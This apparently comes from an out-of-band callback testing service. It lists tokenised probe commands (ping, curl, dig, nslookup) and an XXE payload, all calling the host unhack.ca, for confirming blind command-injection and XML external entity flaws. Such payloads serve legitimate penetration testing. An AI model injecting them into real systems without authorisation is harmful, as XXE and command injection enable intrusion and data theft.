$ ping -c1 -p 00646f1aded34f91600aaa2286beba00 unhack.ca
 

$ curl http://unhack.ca/p/646f1aded34f91600aaa2286beba
 

$ dig 646f1aded34f91600aaa2286beba @unhack.ca
 

$ dig 646f1aded34f91600aaa2286beba.ns.unhack.ca
 

C:\> nslookup 646f1aded34f91600aaa2286beba unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/646f1aded34f91600aaa2286beba">]>
    <foo>&xxe;</foo>